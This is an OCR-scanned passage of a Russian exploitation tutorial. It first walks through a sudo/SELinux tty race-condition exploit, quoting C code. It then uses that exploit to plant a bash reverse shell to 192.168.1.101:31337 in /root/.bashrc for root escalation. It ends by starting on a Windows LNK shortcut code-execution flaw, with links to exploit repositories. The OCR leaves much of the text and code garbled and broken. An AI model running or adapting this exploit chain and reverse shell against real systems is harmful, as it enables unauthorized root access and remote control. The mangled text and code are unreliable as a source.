Дальше в игру вступаю осбенти работы sudo в рамкх SELinux. Благодря


функци relabel_tty аткующий может изменть содержим любог файл, вклю­
чая файлы, принадлежщ суперользватю. Функция открывае для чтения и
запис текущ tу-стройв , в котре при помщи dup2 напрвляетс содержи­
мое stdin, stdout и stderr. Используя манипуляц с симлнка , можн напрвить
в произвльный файл результа работы команды, котрая разешн на исполне
черз sudo.
□- 15 - □

l/src/selinux.c
148 : relabel_tty(const char *ttyn , int ptyfd)
14 9 :

163 : se_state . ttyfd = open(ttyn , O_RDWRIO_NOCTTYIO_NONBLOCK) ;

209 : /* Re- open tty to get new label and reset std(in , out , err) */
210 : close(se_state . ttyfd) ;
211 : se_state . ttyfd = open(ttyn , O_RDWRIO_NOCTTYIO_NONBLOCK) ;

218 : for (fd = STDIN_FILENO; fd <= STDERR_ FILENO ; fd++) {


219 : if (isat ty(fd) && dup2(se_state . ttyfd , fd) == - 1)

Принцп работы эксплоита


Пройдемся коду п эксплоита и посмтри на алгоритм эксплуатци уязвимост
в действи. В само начле файл , ка водится , несколь конста.

□ TARGE_FIL -фaйл , в котрый будет произвдться запись;

□ WORКING_D - рабочя директоя, в котрй будт создавтья нужые


файлы;

□ SELINUX_ROLE- роль пользватея в контес SELint1x.

1 42183.с
41 : #define SUDO BINARY " /usr/bin/sudo "
42 : #define TARGET FILE " /etcin.dREADМ "
43 : #define SELINUX ROLE "unconfined r "
44 :
45 : #define WORКING_D " /dev/ shm/_tmp "
46 : #def i ne ТУ SYМLINK WORKING- DIR " / tty "
-
47 : #define ТУ SYМLINK ТУ SYМLINK
- -

При запуске эксплоит ждет на входе несколь аргументов командй строки.


В качеств первог указывется бинарк , запуск котрг разешн черз sudo.
Вторй аргумент - парметы вызоа этог бинарк .
. /42183 . с /usr/bin/sum ANYTHING- YOU ТО WRITE- IN- FILE

Первым шагом на пути к э ксплуатци будет создание директо /dev/shm/_tmp.


Интерфйс /dev/s hm разешн на чтени и запись любому пользватею , что не
может не радовть. В паке создаетя симлнк /dev/shm/_tmp/_tty, котрый указы­
вает на несущтвюий виртуальный псевдотрминал /dev/pts/57.
□- 16 - □

1 42183.с
80 : if (mkdirWORКING_D , 0700) ) die () ;
8 1: if (symlink(pts , TY_SМLINK ) die () ;
82 : if (symlink(TARGET_FILE , TY_SМLINK ) die ( ) ;

Затем генриу тс я имя и создаетя симлнк /dev/shm/_tm p/ 34873 для sudo


(рис. 1.5):

~ CentOS7 (Before update sudo) [Running) - Oracle VM Vi rtua!Box о х

File Mach ine Vi.e w lnput Devices Help

'"
, ,,-, 1 '"" •1:J1? ,fн10зrи"

Рис. 1.5. Отлад к а эксплоита в моент генраци имен симлнка для sudo

Это трюк , ка ты помнишь , нуже дл я тог , чтобы нарушить логи к у работы функ­
ци get_process_ttyname в мест парсинг результаов stat по сим во лу пробела.
Почему здесь исполь зуется число 34 873? Для разъяснеи нужо обрат и т ься к до ­
кументаци proc (htp:/man7 . orgЛinux/ma-pes5c.ht1) :

(7) tty_nr %d
The controlling teпnia l of the process. (The minor
device numЬer is contained in the comЬinat of
bits 31 to 20 and 7 to О ; the major device numЬer is
in bits 15 to 8 . )

Пре дставим число 34 873 в двоичнй ситем , получится 1000 1000 0011 1001.
В битах 15 по с 8 хранится тип терминал. Для обычнй консли tty это число рав­
но 0000 0100, ил 4 в дес я те р ичной ситем. мы Но провдим манипуляц с псев­
дотерминал . Доступ к ни м можн получить черз /dev/pts/, и им сотвеу
тип 136, ил 1000 1000.
□- 17 - □

Дале расмоти minor device number. него За отвечаю биты с 31 по 20 и с 7 по О.


У нас всего 16 бит в общей сложнти, поэтму используем тольк с 7 по О,
остальные считаем равными нулю. Эти биты отвечаю з а номер текущго термина­
ла, в котрм выполняетс бинарк. В нашем случае они равны 0011 1001 , что
явлетс эквиалентом 57 в десятичном пре д ставлени . Это имено то номер тер­
минал , для котрг мы со зда вали симлнк (рис. 1.6).

Рис. 1.6. Различные типы (minor device number) терминалов

142183.~

70 : struct stat sbuf ;


71 : if (fstat (* pts fds , &sbuf)) die() ;

7 4: if ( (unsigned int) snprintf (comm, sizeof (comm) , " %s/ %lu


WORКING DIR , (unsigned long)sbuf . st_rdev)
75 : >= sizeof(comm)) die() ;
83 : if (symlink(SUOO_BINARY , comm)) die() ;

Дале собираем парметы для запуск sudo черз символчекую сылку. Исполь­
зуем флаг - r role, где role - роль нашего пользватея в контес SELinux. По
умолчанию в эксплоите используетя unconfined_r.

1 42183 .с
1 02 : char ** const argv calloc(argc + 1 , sizeof(char *)) ;
103 : if ( 1 argv) die () ;
104 : argv[0] comm ;
1 05 : argv[l] = "- r ";
106 : argv[2] = SELINUX_ROLE ;
107 : memcpy(&argv[3] , &my_argv[l] , my_argc * sizeof(char *)) ;
108 : if (argv[argc]) die() ;

Провеить роль пользватея можн командй id -z. Если она отличаеся от


дефолтнй, то меняй в исходнка констау SELINUX_ROLE (строка 43).
Тепрь запускем sudo. Для эт ог используем созданый ране симлнк с пробела­
ми в назви :
□- 18 - □

I 42183.с
113 : execve(*argv , argv, NULL) ;

Настло время гонк. Чтобы перзаисть файл , нам нужо успешно выиграть два
заед. Для облегчния этог процеса в эксплоите использван три любопытнх
трюка.

Трюк первый: функция sched_setaffinity заствляе sudo отрабывь на том же


логическм процес , что и наш эксплоит.

[ 42183.с

93 : cpu set_t cpu_set ;


94 : CPU_ZERO(&cpu_set) ;
95 : CPU_SET(cpu , &cpu_set ) ;
9б : if (sched_setaffinity(0 , sizeof(cpu_set) , &cpu_set) != О) die() ;

Втор ой трюк: при помщи функци setpriority понижается приоте nice процес­
са sudo до мин ал ьног(+] 9):

I 42183.с
110 : if (setpriority (PRIO_PROCESS , О , +19) 1 = О) die() ;

Тре ть я х итр ость - это функция sched_setscheduler, котрая устанвлие алго­


рит м и парметы планировя процеса. В случае расмтивеог эксплоита
вы бран по л итка SCHED_IDLE, котрая используетя при работе с очень ни зко ­
приотены ми фонвыми задчми.

j 42183.c

111: static const struct sched_param sched_param = { . sched_priorit y


о };
112: (void) sched setscheduler (О , SCHED_ IDLE , &sched__param) ;

Шансы выиграть гонку заметно подрсли , и тепрь нам нужо поймать моент,
когда sudo ыполнитв функцию opendir для рабочей директо - /dev/shm/_tmp.
Для э тог используетя inotify API. Его ельц - наблюдть за объектами в ожида­
ни опредлны х событий , а при вознике этих событий выполнять указн­
ные действия.

Вешам вотчерина IN_OPEN на паку и ждем, пока прогам дойет до е


открыия. Это происхдт при поиске несущтвюго псевдотрминал из сим­
линка. Как тольк событие срабтыве , останвлием процес sudo, отправи ему
сигнал SIGSTOP:
□- 19 - □

085 : const int inotify_fd = inotify_initl(IN_CLOEXEC ) ;

08 7 : cons t int working wd = inotify_add_watch(inotify_fd , WORКING_D ,


IN OPEN I I N_CLOSE_NOWRITE} ;

117 : s t r uct inotify_event event ;


11 8 : i f (read(inotify_fd , &event , sizeof (event) ) != (ssize_t)sizeof(event))
die() ;
11 9 : i f (kill(pid , SIGSTOP)) die() ;

Тепрь начием генриовать псевдотрминалы (pty) при по мо щ и openpty, пока


не создаим pty с типом 136 и номер 57 (то самый номер 34873 и з симлнка
с пробелами). Пос ле этог продлжаем выполнеи процес са sudo:

12 3 : f or (i = О ; ; i++) {
124 : i f (i >= sizeof(pts fds) / sizeof(*pts_fds )) die() ;
12 5 : int ptm_fd ;
126 : char tmp[PATH_МX] ;
127: if (openpty(&ptm_fd , &pts_fds[i] , tmp , NULL , NULL )) die() ;
128 : i f ( 1 strcmp(tmp , pts)) break;
129 : if (close(ptm_fd)) die( ) ;
130 :

134 : if (kill(pid , SIGCONT)) die() ;

И д дальше ем по коду. Вновь монитрг д иректо /dev/shm/_tmp, то ль к то е п ерь


мы ожидаем события IN_CLOEXEC. Останв л иваем процес после т ог о, ка sudo
выполнит ф ункцию closedir:

[ 42183.с ·

136 : if (kill(pid , SIGSTOP)) die();


137 : if (event.wd 1 = working_wd) die() ;
138 : if (event .mask != (IN_CLOSE_NOWRITE IN_ISDIR)) die( ) ;

На это ра з мы заменя /dev/shm/_tmp/_tty (сим л инк , к о т о ры й указ ыва ет н а т е­


перь уже сущетв ующий pty) симлнко на файл , в кот рый н уж но прои з вес ти
запись (TARGET_FILE). И вноь про д олжаем выполне н ие пр оцеса :

1;$21~3.с {

140 : if ( renam (TY_SМLINK , TY_SМLINK) die();


141 : if (k ill (pid , SIGCONT)) die() ;
□- 20 - □

[ ,, t, 1,емt /el,C/ i 11 i 1. , ,t / н1:tм t а,: ke1'(~~,11do ~ J$


'ioo s11stemd l,;,,;e,t 11:; wl11,r·1· 1r·,.litп;! ,н·е iuit •,,c,pt.:. i,,,._,,. гo1ig i\
Ьесн 1·cpl<н~(t hy нati1,.e :-;чsteml ser 1;i1 t~:~ 1· i lг•; ~~r~r·\)i1·t· f" i 11·:, p1·1P.J1,l1
1 .-'et'tJ :·;irnil.:1r ft1нci,nl.ц t.o iнt ~;tr·iµt Ti1 mд ..k,-' н ,~ tJt' f''.JJ1.t·
f'iles •;impltJ iнvвke "sцt,emcl wl,icl, wiJl 011t.pol ,, Ji:;t о! ,,11
cнr·tl1J rн1i~ scr·1..,.1icc~; ((\l}iJ 01111:t·· 1нit ) 11~:,-~ "·:11 tt·m, · 11
list 1111it, f'iles" t,o !J"t II listim1 о!' ,111k11t1w111111il. 1·;1,- i111 !1,;ц
,to1,ped. dis11l1led ащl mctsket\ о,н; IJ·;c ",,,,-,1em,:t! •,t,,r·I
t·fl'Ob(,r-.:~evicн анd "s!JSt.emr.::11 s.tпp f'oнt),1.r· ~;1~r 1Ji1 с' t1) t,1rt 1,,- ••f11p ,~
•:;crvicr,, ... espec1, ive lt/, fог fнгtl1er· ,Iet,,, i lc:, р lcil':c, 1·,:f ,г t 11
sцtemcl (1).
l,;tl,,tokt~rlls11do "'J$ \:; 1 /etc/i11it,.,t/Hl:11HME
l'LJ r· г . 1 гоt, r·oo! 1ИЗ'J ,11111 1') И't ·ни 1:t, ·_11, i t ,t HIЛfJM:
r,tм:l<eг(Jsido ~1::, 1:1:!111 bl,Ы1'· c!,/iнl ,1 BU\IIMI:
Ь,1о:I. /t~,iн.dREAl)M: Peгmi iон ,lcнie1
[,1.нker(~sdo ~1$ ,/12183 s1_1m <';,1(.)HJтt:NiT\f .. y1,\.JANТ'
[,11 t,11·~,·cfls11~,J ~ J$ 111•,,,l /et,Гi1 ,d/Hf:ftl)M[
н,:·/bi1stm ·
wн,п:
,1NYTII IN(;
'r'Oll
W(INT
No ;1с! !" i lc ог ,t i r·,·c tш·•;

Ьсп гepli.,c Ьу нi·,t_ve sч:3t,em( scr· 1Jif'c~; til,•:_·, :сг~ ✓ iг fil,·; 1r·п 1 .. •i1!1•

'.Jесц~;iroilar· t'н1Lio(l~: to i11it :-:1 r·ipt': Т1 m,~_kt: н t: ,it 1-r',..)11 ,.


filc•· •:impltJ iнvokc "•:чt.emcl, wl1irl1 will .,,,tp11t ,, li,t "' .,11
lctltctckcr~sodo -1$ _
Рис. 1.7. Успешная работ эксплоита . Файл перзаисн

Эксплоит заверш и л свою работу , а в файл /etc/init.d/README записль резуль­


таы работы прог амы sum (рис. 1.7).

Практичеся эксплуатция
и повышени привлегй
Сначл нужо решить , что и в каой файл мы будем записывть. Перво , что при­
шло мне ум, на - э то добавить пользватею root в файл .bashrc запуск простень­
ког бэконет-шла.

nohup bash - i >/dev/t cp/ 192 . 168 . 1 . 101/ 31337 0<&1 2> &1

где 192.168.1.101 и 31337 - IР-адрес и моег порт серва. Решни не претнду


на каую-то скрытноь и универсальот , но в тесовых целях вполне подйет .
Редактирум исх од ник сплоита , меня строку 42 на следующ:

42 : #def ine TARGET FI LE " /root/ . ba shrc "

После успешной эксплуат ци останея дожаться моента , когда пользвате


root вой д ет в ситему, и наш код будет исполне,

Время компилрвать э ксплоиты:

gcc - о 4218 3 4 2183 . с - l util - dgЬ

Я использва л опцию -d дл я добавле ния отладчнй информац в откмпилр­


ваный бинарк - на то случай, если пона доб ится посмтреь на различные
этапы эксплуатци с помщью дебагр.
□- 21 - □

Формат запуск эксплоита следующий :

. /42183 <команд , ра з р е ш е ная дnя запуск черз sudo> <парметы запуск


этой команды>

Посмтреь спиок коман д, котрые пользвате может выполнять чер з sudo,


можн с помщью коман д ы sudo - 1. У нас это /usr/bln/sum (рис. 1.8).

~ Cent0S7 · VМ.var e Wcrkstation 12 Player □ х

«1 ii;J
r,,t t,11 kcг(~1.,i:;l!" го1J ~tido l
М.,!_(li-:J !)cf,:lrf_it.~; е1,J·н'; 1·ог «t1.iн:kPr он t}1is lюst,.
•••; it,1,·pw. i1ltJ<щ·: ,.,·1 Jн,me ""'·'.rcset, елv keep "C!J!.IJHS DJ:l'IЛi IIOSnitiME HIS'J;;f7I t:PEDIH
'IJi.l!H~:", сн•; kee1» "111111. PS1 PSZ QТDJR IJSГ.RNAМE J,AN(, и: [,С
f)DDRC,S •Tr'J'E",
k•c,·p• "II СОI.ЛП: 1.С ,, 1DENT lf' ICAТON [,С MEASIJНМNT !.С _мt:s;rн" f'11',' keep • .. ,,, 111N!T,il!',
NAM[ 1,, ,N!JM:Н JI l,C PHl'ER [.С 11:I,EPHONE", ,нv ht:f'jl • ·те Т !Ml: 1 (, f)i.J, !,(1!'i(;l)A1,f: J. I N(,i 111::
(J<H пнс:-;ЕТ )<j('ПIORlГr, ';CtГ_jJl.)i /,~bj11,: Ъiн, /l_~J•,·sЬi1:tSrhн

Li , r •1 t,1, trт fJ\111 rн tl1t• fol lnt.JЩ L:t)nYa.Лd< он t)1i~ Jю,t


'r1! J ) Nt lj (1')',Ul) /tl ,r/h I н/\,шn

Рис. 1.8. Список доступных команд для выполнеия черз sudo

Чтобы записывть опредлны даные в файл , нужо уметь контрливаь ре­


зульта выода прогамы , разешной запуск для черз sudo. Это можн делать
нескольим спобами. Самый очевидный - это исходИТЕ, из возмжнстей само­
го бинарк. Наприме , sum принмает имя файл в качеств аргумент, а если
таког файл не сущетв , то будет выедна ошибка.

[attacker@visualhack ~ ]$ surn Ыаh . Ыаh

surn: Ыаh . Ыаh : по such f i le or directory

Вторй споб - боле универсальый и подхит почти для любой утилы. Это
трюк с невалидым пармети и перносм строк.

Возьме команду surn - Ыаh . Результа е работы будет выглядеть следующим об­
разом:

surn : unrecognized opti o п ' -Ыаh'

Try ' surn --help ' for more infoatп

Назвние пармет отбражеся в текс ошибк. Так ведт себя большая часть
прогам , котрые используют аргументы. Понят , что если прост указть
наш шел после -- и записть результа в таком ви д е в файл, то команд не выпол­
нится.

surn : uпrecogizd o pti oп ' п oh u p bash - i >/dev/ tcp /192.168 . 1.101/ 31 337 0<&1 2>&1 '

Нам нужо записть шел с новй строки. Для э тог воспльзуемя фичей баш
$'строка. В строке , указной в одинарых кавычх , ищутся и парсят специ­
альные последватьни (обратный слеш плюс символ). Список подержива­
мых эскейп-олдватьн можешь посмтреь здесь: https://www.gnu.org/
software/bash/manual/html_node/ANSI_ 002dC-Quoting.html.
□- 22 - □

Наприме , коман д а sum $ ' -- \nHELLO\nWORLD\n ' вернт ошибку вида

sum : unrecognized opt ion '


HELLO
WORLD

Try 'sum - - help ' to more infonnation .

Так уже можн записывть наш шел в .bashrc, и он выполнится. Тольк обрати
внимае на остающиея одинарые кавычи: если их не закрыть, то bash будет
с чи таь всю коман д у обычнй строкй . По эт ому делам так:

[attacker@visualhack ~]$ sum $ '-- \ ' \nnohup ba s h -i >/dev/ t c p / 192 . 1 68 . 1 . 101 /


31337 0<&1 2>&1\n\ ''

И получаем на вы х оде:

sum : unrecognized option '


nohup bash - i >/dev/tcp/192 . 168.1 . 101 /31337 0<&1 2>&1
''
Try ' sum --help ' to more infonnation .

Вы вод перданы х парметов показн на рис . 1.9.

G,1ij C•ntOS7 • VMware Workstation 12 Play,r □ х

Рис. 1.9. Вывод перданых парметов с новй строки

Приш ло время собрать все воед ино и з апустиь эксплоит:

. /42183 sum $ '-- \ ' \nnohup bash - i >/dev/tcp/192 . 168 . 1 .1 01/31337 0<& 1 2>&1 \ n '

В ре зультае получаем изменый файл .bashrc, в котрый записля наш пейлоад


(рис . 1.1 О) .
□- 23 - □

~ C,nt0S7 - VМw a re \1/orkstat ion 12 Pfayer о х

Рис. 1.1О. Рез ул ьта т работы эксплоита - получени рутовы х привлегй

Дальше дело тольк за твоей фантзией: что и в каой фай л писа ть . Я уверн , ты
найдешь изящный споб повышения привлегй - без ожи дан ия моента , к огда
в ситему во йдет root. Увидеть , ка работе эксплойт вжиую , можн на следую­
щем видеорлк е: https://vimeo.com/224623724.
-□
......
-,;.НЕ Р

2. Экс п л уа тируем опасную уязвимость


в ярлыках Microsoft Windows
Иван aLLy К о мис саро в

Каждый , кто пользвася Windows, хорш знает, что такое ярлык. Однако это
з начок со стрелкой дале не ко так прост , ка мож~т показться , и при опредл ны х
условиях он открывае широке во змо жности для аткующего. Я раскжу , ка
сделать «ядовитый» ярлык и ка с помщью флешки выполнять пр оиз в ольн ы й код
на целвой ситем.

Историчекй эксур
Все начлось ещ в 201 О году, когда в паблике всплы эк сплоит для Windows в е р­
сий 7 и ниже. Эксплоит по звол ял аткующем выпол н ить произвл ьны й код в с и с ­
тем, причем пользватею доста чно было всего лишь перйти по с ы лке.

Это э ксп ло ит испо льзовася ка один из распотне варинто н ия небзывст ­


ног червя Stнxпe. Когда кто- всталя флешку в компьютер , червь заржл е ,
копируя вредонсый DLL, и создавл специальный ярлык . Если на машине, в ко ­
торую потм всталяи носитель , была включена функция автозпуск, вредо н ос ­
ный ко д и з билотек выполняс .

Импакт этом при не ограничвлся однй тольк флешкой: код также срабтывл ,
если по льзовате посещал вредонсый URL, котрый указывл на сетвую ил и
локаьную пак у эс ксплоитм. Взглянув на весь это ужас, в Microsoft выпуст и л и
апдейт MS 10-046, котрый исправляет э ту уязвимость. Вот тольк за п латк п олу ­
чилась не то чтобы удачной.

В начле январ 2015 года немцкий иследовать Михель Герклоц (M ichae l


Heerklotz) детально изучл патч это и нашел споб его обйти. Результаом рабо­
ты Герклоца стал отче на конферци Zero Day lnitiative (ZDI), провдимй ком ­
панией НР . П осле исправленя патч в марте тог же 2015 года иследова н ие б ы ло
опубликван. Имется даже видео демонстраци работы э ксплоита. После этог
в Microsoft выкатил следующий патч - с поря д ковым номер MS15 -01 8, од н а к о
и он не смог полнстью зак рыть уязвимость. июне В 2017 года был обнаруже н о че ­
редной споб его обхда . Им пакт при этом осталя тем же - выполнеи пр оиз­
вольнг кода на целвой ситем.
□- 25 - □

У звимя ость имет наимеов СУ Е-2017846, а РоС- экспло ит создали Йорик


Костер (Yorick Koster) и nixawk. Йорик также написл модуль для Metasploit. MSF
я не использую по религозным сображениям и поэтму в обзре буд опираться
на первоначльый сплоит . Найти его ты сможешь, загл янув в репо зито рий
к
nixawk ( htps:/giub.comnxawklЫЬerCVE-2017 -846/exp loit_ CVE-
2017-8464.py).
Если же хочешь прост потригеь уязвимость, то готвые LNК-файлы и DLL,
котрая запускет кальуятор , можн найти по сылке https://github.com/
Зgstuden/CVE-2017846XP . Теб останея лишь скинуть их на флешку .

Стенд
В качеств подытнг кролиа для теса у язвимост я буд использват вирту­
алку с Windows 1х64. О При работе с б инарым файлми нам , конеч же , приго­
дится дизасемблр . Не будем оригнальчт и во з ьме IDA .
Также нам понадбится каой-нибу д ь отла д чик. Я решил использват WiпDbg
в режим отладчик ядра. Вот один из спобв настр оить удален ный дебаги нг
виртуалк.

1. Зап устиь WinDbg. Затем выпо л нить команды File I Kernel Debug. Во вкладе
NET нужо указть порт. Его будет слушать прогам в ожида ни подключе­
ния от отлаживемй ситемы . Еще можн указть ключ для шифрованя пер­
давемых даных во время сое д инея (рис. 2.1 ).

Kernel Debugging х

NЕТ US B 1394 Local СОМ

Кеm1 deЬugin over the network

Port NumЬer

jsoooo
jtime.to deЬug . 1Зi ----1

ок Cancel Неlр

Рис . 2.1. Настройк отладки ядра по сети в WinDbg

2. Включи ть режим отладки на гостевй машине. В этом нам помжет консльая


утила bcdedit:
bcdedit /debug on
bcdedit /dЬgsetin net hostip : 127 . 0 . 0 . 1 port : 50000 key : time . to . debug . 1337
□- 26 - □

где hostip - \Р хост вой ОС, port и key - порт и ключ, котрые т ы у казл в на­
стройках WinDbg. После пер заг р уз ки виртуалк она по дклю чится к отладчику
(рис. 2.2).

,A~/~T~~d;~ •~

'~~~~:~~lG:h~r]~;tfR:~:f~:/E~:~/:·::-::~:
)"R;>J1se~11.. ~h•s:1r ...
\ ~ t . J-t~I}, •tr~ ··~

~t'.,ьa >e.&rct, P•t!- ,~


ir.-1J••·--1,,.rst ..... \v6).,J1(:P'ЧI FГlftц,<
• .,,1, ~- 1\(),,).0 . ....:~fre -s::_• • flst 1 ·,J1 1~;.i
кh1.,ы
м1 Ша. Qo-ftffl!JI ~1,.;000 1>i~o,,.;!t'd"od,,;~,__;~: • t:,fff,'ftJI 9a•dv,•<:
: .. ц, 1 . . - О Cf~ 0:00::1 •• i-9

~;;~;·•--- «)"llt.... l,att,.a1·d.at~;":.'r.:f --L~:;;;;_· •


i;:i:;:;~
~ШЕ1;f:i!_ •:;:.,;,;,'~;.;.:1:::"::;;~:;:~~';:,,,""" ~•·о: -~,.,.,.,1, 'tc~p,. ·ind'.•l cr...,,,: 6 1.~.:.. ,ю\1". ,.~к

Рис . 2.2. Гостевая ОС готва к отладке

Особен ти линковая
Ч тобы понимать уязв имость ус и пешн о е про э ксп л уатировь, нужо сначл ра­
зобраться непоср едствно с сами формат LNК - файлов . К счатью , нам не
при де тся про дираться черз деб ри бинарщы вс ле п ую, потму что ребята и з
Microsoft п озабти л ись и написл п од робн ую техничскую спе цифкаю под
н азв ние м Shell Link (.LN K) Binary File Foг m at , и опубликва е по адресу
htps:/ /winprotcld .blocre, vi ndo, vs .net / productinwsahve/МS­
SHLINO[M- SHL INКJ-16074.pdf Будем загл я д ывать туда перио д ическ .

Еще н ам пона добитс я утила дл я просм т ра детально й информац по фай л ам


LNK. Так ка юя оснвая ОС - это Windows I О, то я воспльзую приложенм
L К Parser (https ://storage.googleapis.com/google-code-archive-downloads/v2/code.
gole.cmЛnk -parse rЛnk_pa se r_cmd.ex ). Если ты ищешь чт о - то п латфо рмоне­
зависмое , то порбуй pylnk ( pip install pylnk) модул ь для Python, котрый
можн скачть с сайт https://pypi.org/project/pylnk/0.2/.
Shell Liпk Binaiy File Fonnat соти и з пос ледоват ьности ст р укт р , котрые ре­
гулирются прави лами ABNF (Augmented Backus-Naur Form). Прави л а же описаны
в специфка RFC5234 (http://www.rfc-editor.org/rfc/rfc5234.txt).
SHELL_LINK = SHELL_LINK_HEADER [LINКТ ARGET_IDLS ] [LINKINFO) [STRING_DATA)
*EXTRA DATA

Совк упность этих струк и на з ыва етс я shell link, а в простнадье - « ярлык».
В нем содержитя не тольк сылка на местоплж ни е об ъекта , ка можн было
ожи д ать , но и множеств д ругих парметов.
□- 27 - □

Рас мотр и м все этона живом приме. Для этог создаим яр л ык н а л юбой файл
(я создал для explorer.exe) и натрвим него на LNKParser (рис. 2.3 ):
lnk_parser_cmd "expl orer . exe - Shortcut . lnk "

К • Dm ([}.) , Vi sш/Hнk

A"'i' expk!re,.~-Sho rt cut

Рис . 2.3. Просмт содержимг ярлыка с помщью LNKParser

Здесь я расмотю тольк нужые для соз д ания э ксп л оита с т р у к ту ры , ты же


можешь п окпаться в тонксях строения .LNК в свое удов л ьс т вие . За з агрузк,
анлиз и парсинr даных из файл ярлыка отвеча функция CShellLink::
LoadFrmSteш из билотек windows.storage.dll (рис. 2.4).

!:~::~;~:~:~::; ; •"·~ -~. , ~. . . . ~ •J и 11 о II r , tt .-


1
' .tем:1 1о св2Е ; (lt,·i.ь•1 1,. Ьр !1,ы•d lr,1m

!:~::~;~:~:~:~: ; priuate: )ong _ thiscall CShP.Hl:nk _ Lo.-drмStPan( s truc IS. tr e.111 ., , unsign4.'d long )
!:~=:~ ~ :~:~:~: 1 _Lu adf 1·u111St r e~lllflCSht'llli11kQQRAEJPAU I Str~a=~H~~~c с~= lt j !lk:: lni tlal lZP(_l IH!IDI. I\ r_i:н,t)I IН
i.te)Ct :1D1D C82f ; tstn•llli11I(: :_1.0J1JJ.rt1r.1f.ile{u~tio1·t •.unst ... ulon':J) •!3fp

!:~::~:~:~:~:~: \/Эr 27 V • dwo r d pt r -27811

!:~==~~~:~:~: ~ ~:~=~~;,
j. text:111DCl2E ua,· 228
: :~;/;;. м~; :h
• dword p t r - 22!1n
.text:111DC82E v.ir:?.7. lt • dwo rd ptr 22ioli
. text:101DC82E uar 220 " dwo rd p tr м2оt<
. t ex t:1D1D C82E uai--21r. • ьуtе pt r 111:h
. text:101DC82E At·g:o • dl!Юr p t r· 8
.text: 101D C12E .)rg_.!a • d1Юr ptr OCh
.text:111 DCl2E
.text:111DC82E ; F UНl:JI O H CH!Jtltt А\ .(J>Xf.:19.!nt:;t,qt, $11.l 1н,gо•;с 1)\•Н~
. t ext: 111DCl2E
. text: 111D CB2E pu s h :t61: n
• . text :101D C833 oou Ра к, off s et s uь 1 D21t7906
.tex:1DCB З B call _ c н_ p , ·01o g з_ cs -
.teк : 10 1D CBЗD edi, е ск
.teк :1D CBЗF ,ЮU е Ьк . [ ebp •ai·g_ О ]
• .teк:1DC8J2 са н ?_Reset Per-sist OataQC Snelllink~A AEXXZ ; CSl!1!llt ·imi: :_Rt<e>t•tPf'1"<; i •,t\1.c:V-JlfЗ}
.te кt:1 D C8Jt7 ,юu еа х, [ebp• ar g_lt ]
• .text:11t1DC8JtA and (еЬр •v , н· _?.?.O J , D
.teк:1DC8S ( e dJ• 1S•tl J, е а х

Рис. 2.4. Функц ия парсинг содер жимог LNК-файл

Первый обязательный блок, котры й должен присутвоаь в каж д ом уважющем


себя LNК-файле , - это SHELL_LINK_HEADER. По большму счету , это единст­
веная обязательн струка в яр лыке. Она содержит и д ентифкацоую ин ­
формацию , времны метки и флаги, котрые опред л яют наличе ил отсувие
д оп л ни тельных бло к ов с информацей, включая LinkTargetIDList, Linklnfo и
StringData. Струка бло ка SHELL_LINK_HEADER пока з ан на рис. 2.5.
□- 28 - □

ol1 l 2 l з l 4 l s l б l 1 l sl9 l : \ 1 l 2 ! з l 4 l s l бl,s l 9 l ~l12 ~ з l 4 l s l б l 1 l sl9~ l1


HeaderSlze

LюkCSID ( 16 bytes)

...

...
UnkFlags

FlleAttr1butes

Crea tionTlme

...

AccessTime
-- --- - - - - - - -
.. .
Writenme
- -· -
...

FlleSize
·- - - -- ·-
Icon! ndex

ShowCommand
- - - -
Ноtке у Reservedl

Reserved2

Re serv d З

Рис . 2.5. Стру кту ра бло к а SHELL_LINK_HEADER

Прой д по емся остальным стр у ктурам.

□ HeaderSize (4 байт)- ра зме р блока Header, он фиксрован ый - Ох04С.

□ LinkCLSID ( 16 байт) - у ник альный идентфкаор клас (CLS ID). Струк ра


CLSID - это облчка дл я иде нти фикатор СОМ - клас. Также имет фикс­
рован ое з нач ен ие - 0214-ОС - 046 .

□ LinkFlags (4 байт)- флаги , котрые отвечаю за опци ярлыка. Некотры


ф л аги означют наличе до по лнитеь ных струк в файле .

□ FileAttributes (4 байт)- атрибуы файл , на котрый сылает я ярлык.

□ CreationTime (8 байт) , AccessTime (8 байт) , WriteTime (8 байт) - время созда­


ния фай ла, п оследн г о до ступа к нем у и его изменя .

□ FileSize ( 4 байт) - ра змер файл . Формат - 32-битное без накове цело.

□ Iconlndex (4 б айт)- ин д екс икон файл в у казном хранил ище. Формат -


32-битное безнаков це лое.
□- 29 - □

□ ShowCommand (4 байт)- видокна приложеня , запущеног черз ярлык.


Формат - 32-битное безнаков цело . Он может быть трех видо: нормаль­
ный (SW_SHOWNRМAL , OxOOOOOOOl), развенутый на весь э кран (SW_
SHOWМAXIZED , Ох03) , свернутый (SW_SHOWMINNOACTIVE,
Ох07 ).

□ HotKey (2 байт) - струка HotKeyFlags отвеча з а назчеы ярлыку


горячие клавиш. В настройкх линка ты можешь указть требумо сочетани
клавиш , и если сам LNK лежит на рабочем столе ил в меню. то при их нажти
он будет срабтывь.

□ Reservedl (2 байт), Reserved2 (4 байт) , Reserved3 (4 байт)- заревио ­


ваные значеия. Должны быть нулевыми.

Из всего этог многбразия нас интерсу тольк LinkFlags. Се кция соти из


32 бит, каждый из котрых отвеча за разные опци ярлыка (рис . 2.6).

1 2 з
'7>' 1 2 з 4 s б ~ В 9 о 1 2 з 4 5 б 7 8 9 о 1 2 3 4 s б 7 в 9 о 1

А в с D Е F G н 1 J к L м N О р
Q R 5 т u V w х у z А о о о о о
V ~ А

Рис. 2.6. Битовая маск секци LinkFlags

Нужные нам биты - э то О (HasL inkTar getШLis) и 7 (lsUnicode). С IsUnicode,


думаю, все ясно из назвия , а вот нулевой бит расмоти по д робне . Флаг
HasLinkTrgetШ st указывет , что следующим блокм , и ду щим з а хидером, бу­
дет струка ШList (рис. 2.7).

~ explorer.exe - Shortcut.fnk

Off 3 et (h) 00 01 0 2 03 04 05 О б 07 08 0 9 ОА О З О С 0D JE OF
00000000
00000010
0000002 0
00000030
000000 4 0 ~-ЕВ 00 Н jj
00000050 Г,F 50 ОЕ 1F !)0 2() °F"°"i.~iA 69 1:) 2А Dr ОР. •10 28 зq
000000 6 0 ?О 9D 19 00 :F 13 АЗ 5С со )0 !()С (Ч) ,;о GG 'О !о
00000070 ра 00 00 J0 00 0D ,о 00 00 DO 56 •о з. no ·:"
00000080 ~о ~G 00 11 iB се SE 10 QO 5? 6З 5~ 6~ 6F ~- ~
00000090 Ро 4J i: 0 09 .Jr, ">4 1 о EF вЕ fr) 45 ~D зо 1.: ,;s :-- _
О А О ~Е 2 Е о о;, & ;,;.,~&1~ ~.,о ~ ос ~ 1') со •,q
